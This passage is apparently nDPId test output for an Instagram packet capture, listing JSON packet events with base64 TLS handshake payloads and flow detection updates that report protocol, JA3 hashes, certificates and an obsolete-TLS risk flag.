+02333{"flow_id":21,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":389,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1436720908,"pkt_ts_usec":636842,"pkt_caplen":1484,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1484,"pkt_l4_len":1450,"pkt":"QPMIw47hABsv8H60CABFAAW+8n1AADkGE94uIUauwKgAZwG7rg7lq\/iwshtof4AQAeYMfQAAAQEICq6JCtwAA+6IFgMBAFgCAABUAwFVop8Mskr3ezetWBxwT6vdhwQ4dx7V4n4N5aYnSKZJoyBdvlouYcTOnj3IZYFG9CgWwd\/\/6RsLmdFe8yJKUEhhi8AUAAAMAAAAAAALAAQDAAECFgMBDwwLAA8IAA8FAAXAMIIFvDCCBKSgAwIBAgIUA7867y+ifJa4yo+5Wc0zLJ1QETgwDQYJKoZIhvcNAQEFBQAwgY0xCzAJBgNVBAYTAk5MMRIwEAYDVQQHEwlBbXN0ZXJkYW0xJTAjBgNVBAoTHFZlcml6b24gRW50ZXJwcmlzZSBTb2x1dGlvbnMxEzARBgNVBAsTCkN5YmVydHJ1c3QxLjAsBgNVBAMTJVZlcml6b24gQWthbWFpIFN1cmVTZXJ2ZXIgQ0EgRzE0LVNIQTEwHhcNMTUwNjE5MTY1MjA3WhcNMTYwNjE5MTY1MjA1WjBtMQswCQYDVQQGEwJVUzELMAkGA1UECBMCTUExEjAQBgNVBAcTCUNhbWJyaWRnZTEhMB8GA1UEChMYQWthbWFpIFRlY2hub2xvZ2llcyBJbmMuMRowGAYDVQQDExFhMjQ4LmUuYWthbWFpLm5ldDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBANmixJDgkMZBNJ3z1ZX62sOBu+TuCRHkpUVtcyoZ+Togno0UTxe4WtOCPNDV86SwP7c6bLV6OurTFImyrBy2CG1bQfKEiKcfOsSnqvAaJcsTeAd7+wQvX3Ne7RnSVOz3m+zpFPPKU0YVVIjkH7yPGMTFNcnMsbZ+i+8hda1V6VIIjEfcSKDHj7a5h8JsRT4gY49RYuQ3mpuPgLnuFwIdORbJimtp\/Osq1ZkXrW0\/2ykTwX1LqzlWjVlDu3+BcX4oipqIOwjsvPDYXuhLCU0nZge5IN4vkIHM3qjIu3fGJsNeyDg14KKwpakUCBnUyF5zIQutwoSkV8nGWQAkG1RhTysCAwEAAaOCAjEwggItMAwGA1UdEwEB\/wQCMAAwTAYDVR0gBEUwQzBBBgkrBgEEAbE+ATIwNDAyBggrBgEFBQcCARYmaHR0cHM6Ly9zZWN1cmUub21uaXJvb3QuY29tL3JlcG9zaXRvcnkwga8GCCsGAQUFBwEBBIGiMIGfMC0GCCsGAQUFBzABhiFodHRwOi8vdmFzc2cxNDEub2NzcC5vbW5pcm9vdC5jb20wNgYIKwYBBQUHMAKGKmh0dHBzOi8vY2FjZXJ0LmEub21uaXJvb3QuY29tL3Zhc3NnMTQxLmNydDA2BggrBgEFBQcwAoYqaHR0cHM6Ly9jYWNlcnQuYS5vbW5pcm9vdC5jb20vdmFzc2cxNDEuZGVyMG4GA1UdEQRnMGWCEWEyNDguZS5ha2FtYWkubmV0gg4qLmFrYW1haWhkLm5ldIIWKi5ha2FtYWloZC1zdGFnaW5nLm5ldIIPKi5ha2FtYWl6ZWQubmV0ghcqLmFrYW1haXplZC1zdGFnaW5nLm5ldDAOBgNVHQ8BAf8EBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMB8GA1UdIwQYMBaAFN1sgHy6tTIXpYRBQPDSBGYTL6mQMD4GA1UdHwQ3MDUwM6AxoC+GLWh0dHA6Ly92YXNzZzE0MS5jcmwub21uaXJvb3QuY29tL3Zhc3NnMTQxLmNybDAdBgNVHQ4EFgQUA7ZKnIAMYBiICmTNrihiinpswBgwDQYJKoZIhvcNAQEFBQADggEBABxkzsN2TYwp\/HbRPCSDV44+dyEO1oPxQrkuIZ0UlsFTSegWIFNA8uUBt98BB3dJbepTEMkABQ+7yCEdOJwHeJwKreGRkYuV+ajkAmTiFQupfxO4A66VxUVHM\/tl3TA="} +00829{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":389,"source":"instagram.pcap","alias":"nDPId-test","flow_id":21,"flow_packet_id":6,"flow_first_seen":1436720908572,"flow_last_seen":1436720908636,"flow_tot_l4_data_len":2076,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1450,"flow_avg_l4_data_len":346,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.0.103","dst_ip":"46.33.70.174","src_port":44558,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)"},"proto":"TLS.Instagram","breed":"Fun","category":"SocialNetwork"},"tls": {"version":"TLSv1","client_requested_server_name":"igcdn-photos-h-a.akamaihd.net","ja3":"54ae5fcb0159e2ddf6a50e149221c7c7","ja3s":"7df57c06f869fc3ce509521cae2f75ce","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA"}} +00428{"flow_id":21,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":390,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1436720908,"pkt_ts_usec":636964,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABsv8H60QPMIw47hCABFAAA0iD1AAEAGfKjAqABnLiFGrq4OAbuyG2h\/5av+OoAQARI2BQAAAQEICgAD7oyuiQrc"} +02342{"flow_id":21,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":391,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1436720908,"pkt_ts_usec":638429,"pkt_caplen":1484,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1484,"pkt_l4_len":1450,"pkt":"QPMIw47hABsv8H60CABFAAW+8n5AADkGE90uIUauwKgAZwG7rg7lq\/46shtof4AQAeYfLQAAAQEICq6JCtwAA+6IvGzMlrvDvFJ3dAOGq53cFm8ESbmfjzy2HluX6fGO6bpZ2nbUfKZ6zi9e2GZiBv\/BGGD4rR4x07ruBrJ1Gg8Faqlheifrpr33fAXHLLv9\/y0etLW0qc+RWw6e496U+pW2mSa+5XwnA+m4lvoXa4XpHu3U40Gf276Jdu3ohoXBhh0pKxfRLAvPB82KUomT4XJ5xTF98fo0ztk3lFALccdJyGrLAAUjMIIFHzCCBAegAwIBAgIEByekajANBgkqhkiG9w0BAQUFADBaMQswCQYDVQQGEwJJRTESMBAGA1UEChMJQmFsdGltb3JlMRMwEQYDVQQLEwpDeWJlclRydXN0MSIwIAYDVQQDExlCYWx0aW1vcmUgQ3liZXJUcnVzdCBSb290MB4XDTE0MDQwMjE0MzI0NVoXDTIxMDQwMjE0MzEzOVowgY0xCzAJBgNVBAYTAk5MMRIwEAYDVQQHEwlBbXN0ZXJkYW0xJTAjBgNVBAoTHFZlcml6b24gRW50ZXJwcmlzZSBTb2x1dGlvbnMxEzARBgNVBAsTCkN5YmVydHJ1c3QxLjAsBgNVBAMTJVZlcml6b24gQWthbWFpIFN1cmVTZXJ2ZXIgQ0EgRzE0LVNIQTEwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCR6y01mwxkbMqLLdU5tjO0\/EkKFnjXqD03EAJ229fbT5xWS6FptEstSuND9m8WCLXvdEWPdFYWKxWlFkx9bwqZtCDninucRumuMfsTT\/CXFmHjuiulJNjcS5bBvtOrv2bYRCb5FpbtnDYs3yk0KrU9E9KxQS1Tk8u1dCgG9GONXt6yqBvXfU8kZjPtxoqwhG7GCVqWKAaM5FHLocVLu99EPwpaw1YRi\/U8ldsJe9Y0iFGi\/UuqSRR3qbEkqyVPYpy5+ckHLRDIcLcYsVYyHT+pglKnsLJhJGpfjHT2LHgsIFlwC3bO\/FCtUuucokU2mouBG03\/THab3ins9b3mCF7rAgMBAAGjggG3MIIBszASBgNVHRMBAf8ECDAGAQH\/AgECMEwGA1UdIARFMEMwQQYJKwYBBAGxPgEyMDQwMgYIKwYBBQUHAgEWJmh0dHBzOi8vc2VjdXJlLm9tbmlyb290LmNvbS9yZXBvc2l0b3J5MIG6BggrBgEFBQcBAQSBrTCBqjAyBggrBgEFBQcwAYYmaHR0cDovL29jc3Aub21uaXJvb3QuY29tL2JhbHRpbW9yZXJvb3QwOQYIKwYBBQUHMAKGLWh0dHBzOi8vY2FjZXJ0Lm9tbmlyb290LmNvbS9iYWx0aW1vcmVyb290LmNydDA5BggrBgEFBQcwAoYtaHR0cHM6Ly9jYWNlcnQub21uaXJvb3QuY29tL2JhbHRpbW9yZXJvb3QuZGVyMA4GA1UdDwEB\/wQEAwIBxjAfBgNVHSMEGDAWgBTlnVkwgkdYzKz6CFQ2hns6tQRN8DBCBgNVHR8EOzA5MDegNaAzhjFodHRwOi8vY2RwMS5wdWJsaWMtdHJ1c3QuY29tL0NSTC9PbW5pcm9vdDIwMjUuY3JsMB0GA1UdDgQWBBTdbIB8urUyF6WEQUDw0gRmEy+pkDANBgkqhkiG9w0BAQUFAAOCAQEAWEEi\/01CVa7IBodFP4tZ0wc5mrKgkYHSDMFnT09xKFqQHGk6mvabwAj0WiKJVd9vr0W4ohN5GLWq08L+y3BzhSVb1cxvBpCp2K92jnQHUIMQTR15MJbZ6QIf4yHW7NI8MCy1U8kSp\/LDY+72q\/vge4X9hNZbV1A49NMZKT4R8GZA5J\/Bu\/Bs4m8kPqZrNyH1J7unAiK5\/EPa7RMP54M2VZF6ABzW+BlsOg9Ec5OVygHW5l+FRxonfgUSNJ1IzZcEhDo="} +00428{"flow_id":21,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":392,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1436720908,"pkt_ts_usec":638521,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABsv8H60QPMIw47hCABFAAA0iD5AAEAGfKfAqABnLiFGrq4OAbuyG2h\/5awDxIAQAT82BQAAAQEICgAD7oyuiQrc"} +02136{"flow_id":21,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":393,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1436720908,"pkt_ts_usec":638551,"pkt_caplen":1326,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1326,"pkt_l4_len":1292,"pkt":"QPMIw47hABsv8H60CABFAAUg8n9AADkGFHouIUauwKgAZwG7rg7lrAPEshtof4AYAeZfWwAAAQEICq6JCtwAA+6Idfp2FJhdqGlr2fbt0cbKHx3DYqnF8DFNM2+LJpFLQA3x59CnO4+nMp3enalxEN\/0R0zHLakhNI7pC2858ckABBkwggQVMIIDfqADAgECAgQHJ47tMA0GCSqGSIb3DQEBBQUAMHUxCzAJBgNVBAYTAlVTMRgwFgYDVQQKEw9HVEUgQ29ycG9yYXRpb24xJzAlBgNVBAsTHkdURSBDeWJlclRydXN0IFNvbHV0aW9ucywgSW5jLjEjMCEGA1UEAxMaR1RFIEN5YmVyVHJ1c3QgR2xvYmFsIFJvb3QwHhcNMTIwNDE4MTYzNjE4WhcNMTgwODEzMTYzNTE3WjBaMQswCQYDVQQGEwJJRTESMBAGA1UEChMJQmFsdGltb3JlMRMwEQYDVQQLEwpDeWJlclRydXN0MSIwIAYDVQQDExlCYWx0aW1vcmUgQ3liZXJUcnVzdCBSb290MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAowS7IquYPVfoJnKatXnUKeLh6JWAsbDjW44rKZpk36Fd7bAJBW3bKC7OYqJi\/rSI2hLrOOshncBBKwFSe4h30xyPx7q5iLVqCedz6BFAp9HMymKNLeWPC6ZQ0qhQwyjq9aslh4qalhypZ7g\/DNX3+VITL8Ib1XBw8I\/AEsoGy5rh2cozenfW+Oy58WhEQkgT0sDCpK5eYP62pgX8tN0HWQLUWRiYY\/WlY+CQDH1dsgZ684Xq69QDrl6EPl\/\/Fe1pvPk5NnJ1z3dSTfPJkCy5PeXJI1M\/HySYIVwHmSm9xjrs526GOmuXdGMzvWgYMfB4jXa\/\/J6OXSqGp02Q3CcaOQIDAQABo4IBRzCCAUMwEgYDVR0TAQH\/BAgwBgEB\/wIBAzBKBgNVHSAEQzBBMD8GBFUdIAAwNzA1BggrBgEFBQcCARYpaHR0cDovL2N5YmVydHJ1c3Qub21uaXJvb3QuY29tL3JlcG9zaXRvcnkwDgYDVR0PAQH\/BAQDAgEGMIGJBgNVHSMEgYEwf6F5pHcwdTELMAkGA1UEBhMCVVMxGDAWBgNVBAoTD0dURSBDb3Jwb3JhdGlvbjEnMCUGA1UECxMeR1RFIEN5YmVyVHJ1c3QgU29sdXRpb25zLCBJbmMuMSMwIQYDVQQDExpHVEUgQ3liZXJUcnVzdCBHbG9iYWwgUm9vdIICAaUwRQYDVR0fBD4wPDA6oDigNoY0aHR0cDovL3d3dy5wdWJsaWMtdHJ1c3QuY29tL2NnaS1iaW4vQ1JMLzIwMTgvY2RwLmNybDANBgkqhkiG9w0BAQUFAAOBgQCTHf6Lrkbsy6kPq+XvyrJoFmjYj\/oTqa+zyy3nS26OaSrCKxAKjfauc7a5+xT9X224ULbEitZAftfDy3PcyV1br7BBtTfr6twgkcQ0avSh85adN4aX4XGk3X36RISUrtcJBCJ2D2RRNakkD\/kL2zLawv7BuSpceicTyrFIOnHQQxYDAQFLDAABRwMAF0EEIvgI7KsW\/GUHI5TxPJhtywK72WozvcqGzR\/st5WMLlmckZgYf7Rx4mfJ4M\/3NCUYdLeHOaPAoHxXktgoQ+rkCQEADCC0UTjX\/QSxfr8WWS8Ww\/1PQhFOQBBGJaya+q9ot50MXJa8KAqk1WD41Los5doBEAca4AYpyLpq4w0ooF\/Y3zc\/"} +01227{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":393,"source":"instagram.pcap","alias":"nDPId-test","flow_id":21,"flow_packet_id":10,"flow_first_seen":1436720908572,"flow_last_seen":1436720908638,"flow_tot_l4_data_len":4882,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1450,"flow_avg_l4_data_len":488,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.0.103","dst_ip":"46.33.70.174","src_port":44558,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)"},"proto":"TLS.Instagram","breed":"Fun","category":"SocialNetwork"},"tls": {"version":"TLSv1","client_requested_server_name":"igcdn-photos-h-a.akamaihd.net","server_names":"a248.e.akamai.net,*.akamaihd.net,*.akamaihd-staging.net,*.akamaized.net,*.akamaized-staging.net","ja3":"54ae5fcb0159e2ddf6a50e149221c7c7","ja3s":"7df57c06f869fc3ce509521cae2f75ce","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA","issuerDN":"C=NL, L=Amsterdam, O=Verizon Enterprise Solutions, OU=Cybertrust, CN=Verizon Akamai SureServer CA G14-SHA1","issuerDN":"C=US, ST=MA, L=Cambridge, O=Akamai Technologies Inc., CN=a248.e.akamai.net","fingerprint":"EA:5A:20:95:78:D7:09:60:5C:A1:E4:CA:A5:2B:BD:C1:78:FB:23:23"}} +00429{"flow_id":21,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":394,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1436720908,"pkt_ts_usec":638612,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABsv8H60QPMIw47hCABFAAA0iD9AAEAGfKbAqABnLiFGrq4OAbuyG2h\/5awIsIAQAWw2BQAAAQEICgAD7o2uiQrc"} +00702{"flow_id":21,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":395,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1436720908,"pkt_ts_usec":638643,"pkt_caplen":265,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":265,"pkt_l4_len":231,"pkt":"QPMIw47hABsv8H60CABFAAD78oBAADkGGJ4uIUauwKgAZwG7rg7lrAiwshtof4AYAebhPwAAAQEICq6JCtwAA+6IYFSYv4mudxHFz5sxywWWsazXJFrgzvE0JK+52sA0dU9CLiZ3XPU5E6dDL7dHmHEkPuJ4\/Da3Zh4f9Lcgmw7U50W\/D1et\/l4S8edGh2S9NNLemgTFDCn1oQVs3NJP+re0A0XN9fbbCsoMKGyL4kcoXYy+ThQic2K2WQhBsA5O6FVtwQBG1voUB85e4vFzoES4ba43SS+d00unyRJCUtpA+7cx6dCi6nnE2pwcoMHgiBqeh+sNCtpqm5CSYwxPVhYDAQAEDgAAAA=="} +00429{"flow_id":21,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":396,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1436720908,"pkt_ts_usec":638704,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABsv8H60QPMIw47hCABFAAA0iEBAAEAGfKXAqABnLiFGrq4OAbuyG2h\/5awJd4AQAZk2BQAAAQEICgAD7o2uiQrc"} +00427{"flow_id":22,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":397,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1436720908,"pkt_ts_usec":656038,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"QPMIw47hABsv8H60CABFAAA0kE1AADkGg3hSVRqawKgAZwG7oN0D2rVn4E5yZoAQAeYwFAAAAQEIClR5JS4AA+6K"} +02333{"flow_id":22,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":398,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1436720908,"pkt_ts_usec":660280,"pkt_caplen":1484,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1484,"pkt_l4_len":1450,"pkt":"QPMIw47hABsv8H60CABFAAW+kE5AADkGfe1SVRqawKgAZwG7oN0D2rVn4E5yZoAQAeZ0uAAAAQEIClR5JTEAA+6KFgMBADwCAAA4AwFVop8Mbf6KIecPM3lg0P\/+nBkucOuiGOinChRDmXi\/zwDAFAAAEAAAAAAACwAEAwABAgAjAAAWAwEPDAsADwgADwUABcAwggW8MIIEpKADAgECAhQDvzrvL6J8lrjKj7lZzTMsnVARODANBgkqhkiG9w0BAQUFADCBjTELMAkGA1UEBhMCTkwxEjAQBgNVBAcTCUFtc3RlcmRhbTElMCMGA1UEChMcVmVyaXpvbiBFbnRlcnByaXNlIFNvbHV0aW9uczETMBEGA1UECxMKQ3liZXJ0cnVzdDEuMCwGA1UEAxMlVmVyaXpvbiBBa2FtYWkgU3VyZVNlcnZlciBDQSBHMTQtU0hBMTAeFw0xNTA2MTkxNjUyMDdaFw0xNjA2MTkxNjUyMDVaMG0xCzAJBgNVBAYTAlVTMQswCQYDVQQIEwJNQTESMBAGA1UEBxMJQ2FtYnJpZGdlMSEwHwYDVQQKExhBa2FtYWkgVGVjaG5vbG9naWVzIEluYy4xGjAYBgNVBAMTEWEyNDguZS5ha2FtYWkubmV0MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA2aLEkOCQxkE0nfPVlfraw4G75O4JEeSlRW1zKhn5OiCejRRPF7ha04I80NXzpLA\/tzpstXo66tMUibKsHLYIbVtB8oSIpx86xKeq8BolyxN4B3v7BC9fc17tGdJU7Peb7OkU88pTRhVUiOQfvI8YxMU1ycyxtn6L7yF1rVXpUgiMR9xIoMePtrmHwmxFPiBjj1Fi5Deam4+Aue4XAh05FsmKa2n86yrVmRetbT\/bKRPBfUurOVaNWUO7f4FxfiiKmog7COy88Nhe6EsJTSdmB7kg3i+QgczeqMi7d8Ymw17IODXgorClqRQIGdTIXnMhC63ChKRXycZZACQbVGFPKwIDAQABo4ICMTCCAi0wDAYDVR0TAQH\/BAIwADBMBgNVHSAERTBDMEEGCSsGAQQBsT4BMjA0MDIGCCsGAQUFBwIBFiZodHRwczovL3NlY3VyZS5vbW5pcm9vdC5jb20vcmVwb3NpdG9yeTCBrwYIKwYBBQUHAQEEgaIwgZ8wLQYIKwYBBQUHMAGGIWh0dHA6Ly92YXNzZzE0MS5vY3NwLm9tbmlyb290LmNvbTA2BggrBgEFBQcwAoYqaHR0cHM6Ly9jYWNlcnQuYS5vbW5pcm9vdC5jb20vdmFzc2cxNDEuY3J0MDYGCCsGAQUFBzAChipodHRwczovL2NhY2VydC5hLm9tbmlyb290LmNvbS92YXNzZzE0MS5kZXIwbgYDVR0RBGcwZYIRYTI0OC5lLmFrYW1haS5uZXSCDiouYWthbWFpaGQubmV0ghYqLmFrYW1haWhkLXN0YWdpbmcubmV0gg8qLmFrYW1haXplZC5uZXSCFyouYWthbWFpemVkLXN0YWdpbmcubmV0MA4GA1UdDwEB\/wQEAwIFoDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwHwYDVR0jBBgwFoAU3WyAfLq1MhelhEFA8NIEZhMvqZAwPgYDVR0fBDcwNTAzoDGgL4YtaHR0cDovL3Zhc3NnMTQxLmNybC5vbW5pcm9vdC5jb20vdmFzc2cxNDEuY3JsMB0GA1UdDgQWBBQDtkqcgAxgGIgKZM2uKGKKemzAGDANBgkqhkiG9w0BAQUFAAOCAQEAHGTOw3ZNjCn8dtE8JINXjj53IQ7Wg\/FCuS4hnRSWwVNJ6BYgU0Dy5QG33wEHd0lt6lMQyQAFD7vIIR04nAd4nAqt4ZGRi5X5qOQCZOIVC6l\/E7gDrpXFRUcz+2XdMLxszJa7w7xSd3QDhqud3BZvBEm5n488th5bl+k="} +00829{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":398,"source":"instagram.pcap","alias":"nDPId-test","flow_id":22,"flow_packet_id":6,"flow_first_seen":1436720908576,"flow_last_seen":1436720908660,"flow_tot_l4_data_len":1852,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1450,"flow_avg_l4_data_len":308,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.0.103","dst_ip":"82.85.26.154","src_port":41181,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)"},"proto":"TLS.Instagram","breed":"Fun","category":"SocialNetwork"},"tls": {"version":"TLSv1","client_requested_server_name":"igcdn-photos-a-a.akamaihd.net","ja3":"54ae5fcb0159e2ddf6a50e149221c7c7","ja3s":"34d6f0ad0a79e4cfdf145e640cc93f78","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA"}} +00427{"flow_id":22,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":399,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1436720908,"pkt_ts_usec":660371,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABsv8H60QPMIw47hCABFAAA0nwhAAEAGbb3AqABnUlUamqDdAbvgTnJmA9q68YAQARIuJQAAAQEICgAD7o9UeSUx"} +02337{"flow_id":22,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":400,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1436720908,"pkt_ts_usec":660890,"pkt_caplen":1484,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1484,"pkt_l4_len":1450,"pkt":"QPMIw47hABsv8H60CABFAAW+kE9AADkGfexSVRqawKgAZwG7oN0D2rrx4E5yZoAQAeZORQAAAQEIClR5JTEAA+6K8Y7pulnadtR8pnrOL17YZmIG\/8EYYPitHjHTuu4GsnUaDwVqqWF6J+umvfd8Bccsu\/3\/LR60tbSpz5FbDp7j3pT6lbaZJr7lfCcD6biW+hdrheke7dTjQZ\/bvol27eiGhcGGHSkrF9EsC88HzYpSiZPhcnnFMX3x+jTO2TeUUAtxx0nIassABSMwggUfMIIEB6ADAgECAgQHJ6RqMA0GCSqGSIb3DQEBBQUAMFoxCzAJBgNVBAYTAklFMRIwEAYDVQQKEwlCYWx0aW1vcmUxEzARBgNVBAsTCkN5YmVyVHJ1c3QxIjAgBgNVBAMTGUJhbHRpbW9yZSBDeWJlclRydXN0IFJvb3QwHhcNMTQwNDAyMTQzMjQ1WhcNMjEwNDAyMTQzMTM5WjCBjTELMAkGA1UEBhMCTkwxEjAQBgNVBAcTCUFtc3RlcmRhbTElMCMGA1UEChMcVmVyaXpvbiBFbnRlcnByaXNlIFNvbHV0aW9uczETMBEGA1UECxMKQ3liZXJ0cnVzdDEuMCwGA1UEAxMlVmVyaXpvbiBBa2FtYWkgU3VyZVNlcnZlciBDQSBHMTQtU0hBMTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAJHrLTWbDGRsyost1Tm2M7T8SQoWeNeoPTcQAnbb19tPnFZLoWm0Sy1K40P2bxYIte90RY90VhYrFaUWTH1vCpm0IOeKe5xG6a4x+xNP8JcWYeO6K6Uk2NxLlsG+06u\/ZthEJvkWlu2cNizfKTQqtT0T0rFBLVOTy7V0KAb0Y41e3rKoG9d9TyRmM+3GirCEbsYJWpYoBozkUcuhxUu730Q\/ClrDVhGL9TyV2wl71jSIUaL9S6pJFHepsSSrJU9inLn5yQctEMhwtxixVjIdP6mCUqewsmEkal+MdPYseCwgWXALds78UK1S65yiRTaai4EbTf9MdpveKez1veYIXusCAwEAAaOCAbcwggGzMBIGA1UdEwEB\/wQIMAYBAf8CAQIwTAYDVR0gBEUwQzBBBgkrBgEEAbE+ATIwNDAyBggrBgEFBQcCARYmaHR0cHM6Ly9zZWN1cmUub21uaXJvb3QuY29tL3JlcG9zaXRvcnkwgboGCCsGAQUFBwEBBIGtMIGqMDIGCCsGAQUFBzABhiZodHRwOi8vb2NzcC5vbW5pcm9vdC5jb20vYmFsdGltb3Jlcm9vdDA5BggrBgEFBQcwAoYtaHR0cHM6Ly9jYWNlcnQub21uaXJvb3QuY29tL2JhbHRpbW9yZXJvb3QuY3J0MDkGCCsGAQUFBzAChi1odHRwczovL2NhY2VydC5vbW5pcm9vdC5jb20vYmFsdGltb3Jlcm9vdC5kZXIwDgYDVR0PAQH\/BAQDAgHGMB8GA1UdIwQYMBaAFOWdWTCCR1jMrPoIVDaGezq1BE3wMEIGA1UdHwQ7MDkwN6A1oDOGMWh0dHA6Ly9jZHAxLnB1YmxpYy10cnVzdC5jb20vQ1JML09tbmlyb290MjAyNS5jcmwwHQYDVR0OBBYEFN1sgHy6tTIXpYRBQPDSBGYTL6mQMA0GCSqGSIb3DQEBBQUAA4IBAQBYQSL\/TUJVrsgGh0U\/i1nTBzmasqCRgdIMwWdPT3EoWpAcaTqa9pvACPRaIolV32+vRbiiE3kYtarTwv7LcHOFJVvVzG8GkKnYr3aOdAdQgxBNHXkwltnpAh\/jIdbs0jwwLLVTyRKn8sNj7var++B7hf2E1ltXUDj00xkpPhHwZkDkn8G78GzibyQ+pms3IfUnu6cCIrn8Q9rtEw\/ngzZVkXoAHNb4GWw6D0Rzk5XKAdbmX4VHGid+BRI0nUjNlwSEOnX6dhSYXahpa9n27dHGyh8dw2KpxfAxTTNviyY="} +00427{"flow_id":22,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":401,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1436720908,"pkt_ts_usec":660982,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABsv8H60QPMIw47hCABFAAA0nwlAAEAGbbzAqABnUlUamqDdAbvgTnJmA9rAe4AQAT8uJQAAAQEICgAD7o9UeSUx"} +02128{"flow_id":22,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":402,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1436720908,"pkt_ts_usec":661561,"pkt_caplen":1326,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1326,"pkt_l4_len":1292,"pkt":"QPMIw47hABsv8H60CABFAAUgkFBAADkGfolSVRqawKgAZwG7oN0D2sB74E5yZoAYAebqkwAAAQEIClR5JTEAA+6KkUtADfHn0Kc7j6cynd6dqXEQ3\/RHTMctqSE0jukLbznxyQAEGTCCBBUwggN+oAMCAQICBAcnju0wDQYJKoZIhvcNAQEFBQAwdTELMAkGA1UEBhMCVVMxGDAWBgNVBAoTD0dURSBDb3Jwb3JhdGlvbjEnMCUGA1UECxMeR1RFIEN5YmVyVHJ1c3QgU29sdXRpb25zLCBJbm